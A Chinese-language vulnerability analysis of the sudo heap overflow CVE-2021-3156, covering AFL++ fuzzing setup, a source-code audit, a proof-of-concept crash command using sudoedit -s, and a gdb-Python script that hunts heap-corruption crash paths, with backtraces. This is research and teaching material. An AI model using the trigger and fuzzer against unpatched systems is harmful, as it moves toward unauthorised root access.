漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156
漏洞簡述
漏洞名稱:sudo堆溢出本地提權
漏洞編號:CVE-2021-3156
漏洞類型:堆溢出
漏洞影響:本地提權
利用難度:較高
基礎許可權:需要普通用戶許可權
漏洞發現
AFL++ Fuzzer
在qualys官方給出的分析中,只是對漏洞點進行了分析,沒有給出漏洞利用程式碼,以及發現漏洞的細節。在後續的披露中,qualys的研究人員對外宣稱他們是通過審計源碼發現的。
我在學習的過程中,看到了兩篇文章有講到如何使用AFL來對sudo進行fuzz,於是便跟著復現了一次。
在使用AFLplusplus的時候,也遇到了一些問題,比如一些依賴沒有安裝好,llvm版本過低等等。
解決llvm版本過低的問題:ubuntu18.04安裝llvm 11。
llvm版本過低,會導致無法使用afl-clang-fast進行編譯時的插樁,編譯出來的sudo會報錯,按照//apt.llvm.org/上的操作也可解決llvm版本過低的問題。
wget https://apt.llvm.org/llvm.sh
chmod +x llvm.sh
sudo ./llvm.sh <version number>
在安裝環境的過程中,我建議首先解決llvm的問題,再去安裝AFLplusplus,安裝AFLplusplus過程如下:
git clone https://github.com/AFLplusplus/AFLplusplus.git
cd AFLplusplus/
sudo apt install build-essential python3-dev automake flex bison libglib2.0-dev libpixman-1-dev clang python3-setuptools clang llvm llvm-dev libstdc++-7-dev
make distrib
sudo make install
安裝時確保libstdc++版本與gcc版本一致。
在使用AFL++進行fuzz的過程中,需要對sudo源碼做出幾點修改:
1.AFL++源碼fuzz,需要對sudo進行插樁編譯,AFL++要對命令行參數進行fuzz的話,需要引入頭文件argv-fuzz-inl.h,同時在sudo.c中main函數開頭的地方;
2.在運行sudo的時候,肯定需要輸入密碼,否則就會hang住,但是fuzz的過程中我們只關注傳入sudoedit的參數能不能導致程式crash,所以sudo_auth.c輸入密碼的分支那裡需要patch一下;
3.將argv-fuzz-inl.h中rc初始化的值改為0。rc表示的是argv數組的下標,如果rc==1的話,只是將argv[0]之後的參數通過宏替換到stdin標準輸入中,而sudoedit是sudo的軟鏈接,而我們也需要去fuzz argv[0];
static char** afl_init_argv(int* argc) {
static char in_buf[MAX_CMDLINE_LEN];
static char* ret[MAX_CMDLINE_PAR];
char* ptr = in_buf;
int rc = 0; /* start after argv[0] */
if (read(0, in_buf, MAX_CMDLINE_LEN - 2) < 0);
while (*ptr) {
ret[rc] = ptr;
/* insert '\0' at the end of ret[rc] on first space-sym */
while (*ptr && !isspace(*ptr)) ptr++;
*ptr = '\0';
ptr++;
/* skip more space-syms */
while (*ptr && isspace(*ptr)) ptr++;
rc++;
}
*argc = rc;
return ret;
}
4.fuzz過程中還要修改progname.c源碼,否則會導致將”sudo”和”sudoedit” 作為argv[0] 傳入sudo時產生同樣的結果:
優化fuzz過程
1.關注fuzz過程中程式的敏感行為
在自己的fuzz過程中,存在大量開啟vi的殭屍進程,這一點liveoverflow的課程中同樣講到,而且思路非常清晰,讓我這個fuzz新人學到了許多。我感覺,他講到的研究思路中最重要的一點,就是通過afl回饋的資訊,來推斷程式的行為,通過觀察敏感行為,思考哪些是值得我們長期關注的,哪些行為是我們在fuzz的過程中需要去忽略並且優化的。
比如,fuzz的過程中,可以發現fuzz向/var/tmp目錄下寫入大量的文件,而且文件名是可控的。在這個過程中,我們並不希望開啟過多其他進程,導致佔用cpu佔用率飆升,同時我們又需要關注程式打開並且寫入文件的行為。
liveoverflow在處理的過程中,首先注釋掉了所有exec族函數的調用,這樣就避免了開啟其他的意想不到的進程。同時在程式操作tmp目錄的地方讓程式crash,這樣相當於給afl一個回饋,afl就會更加關注這一條路徑。
2.uid不同,sudo行為不同
sudo可以將普通用戶許可權提升為一個root用戶許可權,通過sudo運行afl之後,再去fuzz sudo,被fuzz的sudo就會認為是root用戶運行了它,所以要將源碼中getuid的地方硬編碼,編碼為1000,這樣在運行過程中,被fuzz的sudo會認為是普通用戶運行了它,這樣才能達到fuzz的目的。
設置語料,開始fuzz
echo -ne "sudo\0id\0" > ./input/case1
echo -ne "sudoedit\0\id\0" > ./output/case2
程式碼審計
// plugins/sudoers.c # set_cmnd() if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (NewArgc > 1) { char *to, *from, **av; size_t size, n; /* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) {
// 為傳遞的參數開闢堆空間 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR); } if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; *to++ = *from++; } *to++ = ' '; } *--to = '\0'; } else { for (to = user_args, av = NewArgv + 1; *av; av++) { n = strlcpy(to, *av, size - (to - user_args)); if (n >= size - (to - user_args)) { sudo_warnx(U_("internal error, %s overflow"), __func__); debug_return_int(NOT_FOUND_ERROR); } to += n; *to++ = ' '; } *--to = '\0'; } }
...
}
sudo會為傳遞的命令行參數開闢堆空間,注釋中寫道,當通過shell運行一個命令時(檢查MODE_SHELL或者MODE_LOGIN_SHELL標誌位),sudo會轉義潛在的元字元。
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
這一條分支的本意是,當傳入類似 ‘\n’,’\t’ 這種字元時,不將反斜杠’\’拷貝到堆空間中去,isspace用來檢查 ‘ \ ‘ 後是不是空格,來個小實驗看一下就很清楚。
似乎沒有什麼問題,但是,我們回過頭來看一看申請堆塊的程式碼。
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL)
......
NewArgv是一個二級指針,av就是傳遞給sudo的命令行參數,strlen(*av)返回各個命令行參數的長度,size+=strlen(*av)+1,size最後作為malloc的參數,決定申請堆塊的大小。strlen函數在處理字元串返回字元串長度的時候,是以’\x00’作為截斷的,正常來說,這個’\x00’截斷符實際上是替換掉了我們在命令行中輸入的 ‘\n’。
如果在命令行傳遞參數的時候,’ \ ‘ 後面跟的不是空格,而是’\x00’截斷符,同時後面又跟了一串輸入的內容,例如下面這樣:
`aaaa\\x00bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n`
那麼strlen函數返回值就是5,因為strlen函數在遇到第一個’\x00’時就會停止,不會計算後面的字元串長度。
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
然後,向堆中拷貝字元串時,from[0] == ‘\\’ 時,from[1] == ‘\x00’ ,滿足if語句中的條件,from++,’\x00’被拷貝到堆中去,然後from指針再加一,跳過’\x00’,滿足for循環中的條件,繼續向堆中拷貝數據,直到遇到下一個’\x00’。在這個過程中,就造成了一個堆溢出的漏洞。
從程式碼審計的角度來看,似乎並不是一個非常複雜的漏洞,要到達漏洞程式碼處,只要設置MODE_RUN 或MODE_EDIT 或 MODE_CHECK標誌位,同時設置MODE_SHELL或者MODE_LOGIN_SHELL即可。
sudo對於命令行參數的解析和對標誌位的設置,都在parse_args.c中完成:
// parse_args.c
int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
struct sudo_settings **settingsp, char ***env_addp)
{
struct environment extra_env;
int mode = 0; /* what mode is sudo to be run in? */
int flags = 0; /* mode flags */
int valid_flags = DEFAULT_VALID_FLAGS;
int ch, i;
char *cp;
const char *progname;
int proglen;
debug_decl(parse_args, SUDO_DEBUG_ARGS);
/* Is someone trying something funny? */
if (argc <= 0)
usage();
/* Pass progname to plugin so it can call initprogname() */
progname = getprogname();
sudo_settings[ARG_PROGNAME].value = progname;
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
...
case 'e':
if (mode && mode != MODE_EDIT)
usage_excl();
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'i':
sudo_settings[ARG_LOGIN_SHELL].value = "true";
SET(flags, MODE_LOGIN_SHELL);
...
case 's':
sudo_settings[ARG_USER_SHELL].value = "true";
SET(flags, MODE_SHELL);
break;
...
if (!mode)
mode = MODE_RUN; /* running a command */
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
if (cmnd == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, cmnd))
exit(EXIT_FAILURE);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /* replace last space with a NULL */
*dst = '\0';
ac += 2; /* -c cmnd */
}
來看這一段處理命令行參數字元串的程式碼:
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
}
isalnum函數檢查字元是否是數字或者字元,如果不是數字或者字元,同時也不是’_’,’-‘,’$’這幾個字元的話,*dst就會被賦值為’\\’。回想一下,前面我們想要觸發堆溢出,需要在反斜杠後面構造`\x00`,但實際上MODE_RUN和MODE_SHELL如果同時被設置的話,sudo在執行到parse_args函數時,’\x00’就會被替換為’\\’,那這樣自然無法成功觸發漏洞。
我們再來梳理一下parse_args函數中設置mode和flag兩個標誌位的過程。
int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
struct sudo_settings **settingsp, char ***env_addp)
{
struct environment extra_env;
int mode = 0; /* what mode is sudo to be run in? */
int flags = 0; /* mode flags */
int valid_flags = DEFAULT_VALID_FLAGS;
int ch, i;
char *cp;
const char *progname;
int proglen;
debug_decl(parse_args, SUDO_DEBUG_ARGS);
/* Is someone trying something funny? */
if (argc <= 0)
usage();
/* Pass progname to plugin so it can call initprogname() */
progname = getprogname();
sudo_settings[ARG_PROGNAME].value = progname;
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
...
case 'e':
if (mode && mode != MODE_EDIT)
usage_excl();
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'i':
sudo_settings[ARG_LOGIN_SHELL].value = "true";
SET(flags, MODE_LOGIN_SHELL);
...
case 's':
sudo_settings[ARG_USER_SHELL].value = "true";
SET(flags, MODE_SHELL);
break;
...
if (!mode)
mode = MODE_RUN; /* running a command */
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
選擇-e參數的話,mode會被賦值為MODE_EDIT,但是無法再設置flag為MODE_SHELL。
MODE_CHECK也是同樣的問題,如果選擇-l參數的話,會先設置MODE_LIST,然後設置MODE_CHECK,但是設置了-l參數就無法再傳遞其他參數。
如果沒有提前設置mode的話,mode會被賦值為MODE_RUN,要到達漏洞點,也可以不設置MODE_SHELL,設置MODE_LOGIN_SHELL也是滿足判斷條件,如果我們制定參數-i的話,就可以滿足同時設置MODE_LOGIN_SHELL和MODE_RUN。
看起來可以順利觸發漏洞了?來看下面這段程式碼:
if (ISSET(flags, MODE_LOGIN_SHELL)) {
if (ISSET(flags, MODE_SHELL)) {
sudo_warnx("%s",
U_("you may not specify both the -i and -s options"));
usage();
}
if (ISSET(flags, MODE_PRESERVE_ENV)) {
sudo_warnx("%s",
U_("you may not specify both the -i and -E options"));
usage();
}
SET(flags, MODE_SHELL);
}
在switch分支結束之後,會進行一系列的判斷,其中有一條if語句就是判斷flags是否被設置為MODE_LOGIN_SHELL,如果flags被設置為MODE_LOGIN_SHELL,那麼最後會將flags設置為MODE_SHELL。
這條路徑也被堵死了。
漏洞的發現者找到了一條非常巧妙的辦法規避了parse_args對命令行參數中對元字元的檢查,答案其實就在parse_args函數的開頭。
progname = getprogname();
sudo_settings[ARG_PROGNAME].value = progname;
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
sudoedit是一個指向sudo的軟鏈接,如果progname是sudoedit的話,mode被賦值為MODE_EDIT。後面如果再加上”-s”參數的話,flags就會被設置為MODE_SHELL,通過這條路徑就可以順利到達漏洞程式碼處。
poc觸發堆溢出,測試一下漏洞:
漏洞利用
以root許可權運行gdb調試sudoedit,命令行如下:
sudo gdb --args sudoedit -s '\' `perl -e 'print "A" x 20'`
程式crash之後,在set_cmnd函數處下斷點。
順利進入到漏洞程式碼處。
在第960行調用malloc函數處下斷點,同時查看一下當前堆布局:
我們要申請的chunk應該是0x20大小的,此時tcachebin和fastbin中並沒有相應大小的chunk,按照ptmalloc堆分配的規則,下一個chunk將會從unsortedbin中進行切割。如果切割成功的話,unsortedbin會返回0x20大小的chunk,並且切割後空閑chunk繼續留在unsortedbin中。
在第976行處下斷點,我們看一下0x562b5ce44ef0處記憶體布局:
我們輸入的內容覆蓋了相鄰chunk的prev_size欄位,所以最後導致報出malloc(): memory corruption的錯誤。
fuzz利用路徑
通過gdb python來實現一個針對sudo的簡單的fuzz工具,我們期望通過fuzz發現可能存在的意外奔潰,並且通過crahs日誌,發現相應的攻擊路徑。用gdb來fuzz的做法,最開始看到sakura師傅還有幾位群友在調試這個漏洞時是這樣做的,後來看liveoverflow的影片時,看到他本人以及漏洞最初的發現者也是這樣的方法來發現攻擊路徑的。
但是我本人比較菜,對這方面沒有過嘗試,我個人思考了一下,想法比較樸素,就如下圖所示:
最開始可以設置一些基礎語料,現在我們觸發漏洞的方法是已知的,就是`\`後緊跟空字元,那麼這個就是必須要添加到基礎語料中去的,我們現在已經知道漏洞的觸發點,就可以省略語料蒸餾的過程,集中思考如何覆蓋更多的路徑。
我們可以設置一個生成器:Generator。構造不同的payload,在循環loop中,不斷地修改堆空間,不斷地製造崩潰,然後輸出bt回溯函數調用棧的資訊,策略簡單設置兩種:一種只是單純改變溢出長度,另一種是隨機添加多個”‘\\'”,看看對堆記憶體有什麼改變。
fuzz的過程中,得到了一個有意思的結果(跑了好一段時間才跑出來一次,fuzz腳本還是有問題)。
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
4038 malloc.c: No such file or directory.
#0 _int_malloc (av=av@entry=0x7f170b772c40 <main_arena>, bytes=bytes@entry=384) at malloc.c:4038
#1 0x00007f170b4211f1 in __libc_calloc (n=<optimized out>, elem_size=<optimized out>) at malloc.c:3446
#2 0x00007f170bdc8026 in _dl_check_map_versions (map=<optimized out>, verbose=verbose@entry=0, trace_mode=trace_mode@entry=0) at dl-version.c:274
#3 0x00007f170bdcb3ec in dl_open_worker (a=a@entry=0x7ffd43dfcee0) at dl-open.c:284
#4 0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=0x7ffd43dfcec0, operate=0x7f170bdcaf60 <dl_open_worker>, args=0x7ffd43dfcee0) at dl-error-skeleton.c:196
#5 0x00007f170bdca96a in _dl_open (file=0x7ffd43dfd150 "libnss_systemd.so.2", mode=-2147483647, caller_dlopen=0x7f170b4cf766 <nss_load_library+294>, nsid=<optimized out>, argc=3, argv=<optimized out>, env=0x7ffd43dfde48) at dl-open.c:605
#6 0x00007f170b4ed2bd in do_dlopen (ptr=ptr@entry=0x7ffd43dfd110) at dl-libc.c:96
#7 0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=exception@entry=0x7ffd43dfd0b0, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:196
#8 0x00007f170b4ee27f in __GI__dl_catch_error (objname=objname@entry=0x7ffd43dfd100, errstring=errstring@entry=0x7ffd43dfd108, mallocedp=mallocedp@entry=0x7ffd43dfd0ff, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:215
#9 0x00007f170b4ed3e9 in dlerror_run (args=0x7ffd43dfd110, operate=0x7f170b4ed280 <do_dlopen>) at dl-libc.c:46
#10 __GI___libc_dlopen_mode (name=name@entry=0x7ffd43dfd150 "libnss_systemd.so.2", mode=mode@entry=-2147483647) at dl-libc.c:195
#11 0x00007f170b4cf766 in nss_load_library (ni=0x556ad9984ed0) at nsswitch.c:369
#12 0x00007f170b4cff68 in __GI___nss_lookup_function (ni=ni@entry=0x556ad9984ed0, fct_name=<optimized out>, fct_name@entry=0x7f170b53c250 "initgroups_dyn") at nsswitch.c:477
#13 0x00007f170b4677e7 in internal_getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, size=size@entry=0x7ffd43dfd2a8, groupsp=groupsp@entry=0x7ffd43dfd2b0, limit=limit@entry=-1) at initgroups.c:105
#14 0x00007f170b467ab1 in getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, groups=groups@entry=0x7f170bf74010, ngroups=ngroups@entry=0x7ffd43dfd304) at initgroups.c:169
#15 0x00007f170b99fbbd in sudo_getgrouplist2_v1 (name=0x556ad998d9c8 "root", basegid=0, groupsp=groupsp@entry=0x7ffd43dfd360, ngroupsp=ngroupsp@entry=0x7ffd43dfd35c) at ../../../lib/util/getgrouplist.c:98
#16 0x00007f170a422587 in sudo_make_gidlist_item (pw=0x556ad998d998, unused1=<optimized out>, type=1) at ../../../plugins/sudoers/pwutil_impl.c:269
#17 0x00007f170a42126a in sudo_get_gidlist (pw=0x556ad998d998, type=type@entry=1) at ../../../plugins/sudoers/pwutil.c:926
#18 0x00007f170a41a695 in runas_getgroups () at ../../../plugins/sudoers/match.c:141
#19 0x00007f170a40a2ce in runas_setgroups () at ../../../plugins/sudoers/set_perms.c:1584
#20 set_perms (perm=perm@entry=5) at ../../../plugins/sudoers/set_perms.c:275
#21 0x00007f170a402ecc in sudoers_lookup (snl=0x7f170a65fd80 <snl>, pw=0x556ad998d998, cmnd_status=cmnd_status@entry=0x7f170a65fd94 <cmnd_status>, pwflag=pwflag@entry=0) at ../../../plugins/sudoers/parse.c:355
#22 0x00007f170a40d912 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x556ad9987e50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffd43dfdad0) at ../../../plugins/sudoers/sudoers.c:420
#23 0x00007f170a4058ec in sudoers_policy_check (argc=2, argv=0x556ad9987e50, env_add=0x0, command_infop=0x7ffd43dfdb90, argv_out=0x7ffd43dfdb98, user_env_out=0x7ffd43dfdba0, errstr=0x7ffd43dfdbb8) at ../../../plugins/sudoers/policy.c:1028
#24 0x0000556ad88e96f0 in policy_check (user_env_out=0x7ffd43dfdba0, argv_out=0x7ffd43dfdb98, command_info=0x7ffd43dfdb90, env_add=0x0, argv=0x556ad9987e50, argc=2) at ../../src/sudo.c:1171
#25 main (argc=argc@entry=3, argv=argv@entry=0x7ffd43dfde28, envp=0x7ffd43dfde48) at ../../src/sudo.c:269
#26 0x00007f170b3a8bf7 in __libc_start_main (main=0x556ad88e9080 <main>, argc=3, argv=0x7ffd43dfde28, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffd43dfde18) at ../csu/libc-start.c:310
#27 0x0000556ad88eb74a in _start ()
fuzz腳本的策略存在問題,而且嘗試的時候,忘記沒有把命令行參數輸出出來,導致也不知道是怎麼樣的參數可以觸發這一條路徑,我決定再修改一下腳本,直到可以穩定地在短時間內,碰撞出儘可能多的路徑。
import gdb
import random
corpus = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
escapech = "'\\'"
class Generators:
fuzz_input = ""
def __init__(self):
self.fuzz_input = ""
def generate(self):
self.fuzz_input = ""
strategies = random.randint(1,3)
if strategies == 1:
self.fuzz_input += escapech
if strategies in (1,2):
count = random.randint(1,30)
for i in range(count):
start = random.randint(0,25)
end = random.randint(26,51)
if end < start:
temp = end
end = start
start = temp
self.fuzz_input += "'"
self.fuzz_input += corpus[start:end] * random.randint(1,9)
self.fuzz_input += "\\"
self.fuzz_input += "'"
else:
length = random.randint(0x10,0xfff)
s = "A"*length
if random.randint(0,1) == 0:
self.fuzz_input += escapech
self.fuzz_input += "'"+ s + "'"
self.fuzz_input += '\\'
S1 = random.randint(0,2)
if S1 == 0:
for i in range(random.randint(0,4)):
self.fuzz_input += "'"
self.fuzz_input += 'b'*random.randint(16,0x10000) + "\\"
self.fuzz_input += "'"
elif S1 == 1:
for i in range(random.randint(10,50)):
self.fuzz_input += "'"
self.fuzz_input += 'c'*random.randint(16,256) + "'\\'"
self.fuzz_input += "'"
else:
self.fuzz_input += ""
return self.fuzz_input
def loop(G):
for i in range(1000):
try:
payload = G.generate(G)
print('\n%s'%payload)
gdb.execute("r -s %s"%(payload))
gdb.execute("bt")
except Exception as e:
print('\n%s\n'%e)
gdb.execute("set pagination off")
gdb.execute("set logging on ./crash_log.output")
gdb.execute("bt")
#gdb.execute("b nss_load_library")
G = Generators
loop(G)
gdb.execute("quit")
我將Generator構造的參數輸出,重新跑了一次腳本,分析一下crash的輸出文件,我發現出現最多的還是下面這條路徑:
'\''AAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007f68c75ae921 in __GI_abort () at abort.c:79
#2 0x00007f68c75f7967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f68c7724b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3 0x00007f68c75fe9da in malloc_printerr (str=str@entry=0x7f68c7722d8e "malloc(): memory corruption") at malloc.c:5342
#4 0x00007f68c7602b24 in _int_malloc (av=av@entry=0x7f68c7959c40 <main_arena>, bytes=bytes@entry=262148) at malloc.c:3748
#5 0x00007f68c76051cc in __GI___libc_malloc (bytes=262148) at malloc.c:3067
#6 0x00007f68c7b86b9f in sudo_getgrouplist2_v1 (name=0x5623838db9c8 "root", basegid=0, groupsp=groupsp@entry=0x7fffd9623680, ngroupsp=ngroupsp@entry=0x7fffd962367c) at ../../../lib/util/getgrouplist.c:94
#7 0x00007f68c6609587 in sudo_make_gidlist_item (pw=0x5623838db998, unused1=<optimized out>, type=1) at ../../../plugins/sudoers/pwutil_impl.c:269
#8 0x00007f68c660826a in sudo_get_gidlist (pw=0x5623838db998, type=type@entry=1) at ../../../plugins/sudoers/pwutil.c:926
#9 0x00007f68c6601695 in runas_getgroups () at ../../../plugins/sudoers/match.c:141
#10 0x00007f68c65f12ce in runas_setgroups () at ../../../plugins/sudoers/set_perms.c:1584
......
偶爾出現幾次調用_int_free報錯的路徑:
'\''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007f46dd840921 in __GI_abort () at abort.c:79
#2 0x00007f46dd889967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f46dd9b6b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3 0x00007f46dd8909da in malloc_printerr (str=str@entry=0x7f46dd9b8818 "double free or corruption (out)") at malloc.c:5342
#4 0x00007f46dd897f6a in _int_free (have_lock=0, p=0x560deb254490, av=0x7f46ddbebc40 <main_arena>) at malloc.c:4308
#5 __GI___libc_free (mem=0x560deb2544a0) at malloc.c:3134
#6 0x00007f46dc8750e8 in sudoers_setlocale (locale_type=locale_type@entry=1, prev_locale=prev_locale@entry=0x7ffff46d0d90) at ../../../plugins/sudoers/locale.c:119
#7 0x00007f46dc8868f4 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x560deb24ee50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffff46d0e10) at ../../../plugins/sudoers/sudoers.c:419
#8 0x00007f46dc87e8ec in sudoers_policy_check (argc=2, argv=0x560deb24ee50, env_add=0x0, command_infop=0x7ffff46d0ed0, argv_out=0x7ffff46d0ed8, user_env_out=0x7ffff46d0ee0, errstr=0x7ffff46d0ef8) at ../../../plugins/sudoers/policy.c:1028
#9 0x0000560dea4846f0 in policy_check (user_env_out=0x7ffff46d0ee0, argv_out=0x7ffff46d0ed8, command_info=0x7ffff46d0ed0, env_add=0x0, argv=0x560deb24ee50, argc=2) at ../../src/sudo.c:1171
#10 main (argc=argc@entry=3, argv=argv@entry=0x7ffff46d1168, envp=0x7ffff46d1188) at ../../src/sudo.c:269
#11 0x00007f46dd821bf7 in __libc_start_main (main=0x560dea484080 <main>, argc=3, argv=0x7ffff46d1168, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffff46d1158) at ../csu/libc-start.c:310
#12 0x0000560dea48674a in _start ()
'\''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007f35b4973921 in __GI_abort () at abort.c:79
#2 0x00007f35b49bc967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f35b4ae9b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3 0x00007f35b49c39da in malloc_printerr (str=str@entry=0x7f35b4aeb818 "double free or corruption (out)") at malloc.c:5342
#4 0x00007f35b49caf6a in _int_free (have_lock=0, p=0x562f76684490, av=0x7f35b4d1ec40 <main_arena>) at malloc.c:4308
#5 __GI___libc_free (mem=0x562f766844a0) at malloc.c:3134
#6 0x00007f35b39a80e8 in sudoers_setlocale (locale_type=locale_type@entry=1, prev_locale=prev_locale@entry=0x7ffe6d064700) at ../../../plugins/sudoers/locale.c:119
#7 0x00007f35b39b98f4 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x562f7667ee50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffe6d064780) at ../../../plugins/sudoers/sudoers.c:419
#8 0x00007f35b39b18ec in sudoers_policy_check (argc=2, argv=0x562f7667ee50, env_add=0x0, command_infop=0x7ffe6d064840, argv_out=0x7ffe6d064848, user_env_out=0x7ffe6d064850, errstr=0x7ffe6d064868) at ../../../plugins/sudoers/policy.c:1028
#9 0x0000562f7595e6f0 in policy_check (user_env_out=0x7ffe6d064850, argv_out=0x7ffe6d064848, command_info=0x7ffe6d064840, env_add=0x0, argv=0x562f7667ee50, argc=2) at ../../src/sudo.c:1171
#10 main (argc=argc@entry=3, argv=argv@entry=0x7ffe6d064ad8, envp=0x7ffe6d064af8) at ../../src/sudo.c:269
#11 0x00007f35b4954bf7 in __libc_start_main (main=0x562f7595e080 <main>, argc=3, argv=0x7ffe6d064ad8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe6d064ac8) at ../csu/libc-start.c:310
#12 0x0000562f7596074a in _start ()
'\''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007fed1ccb0921 in __GI_abort () at abort.c:79
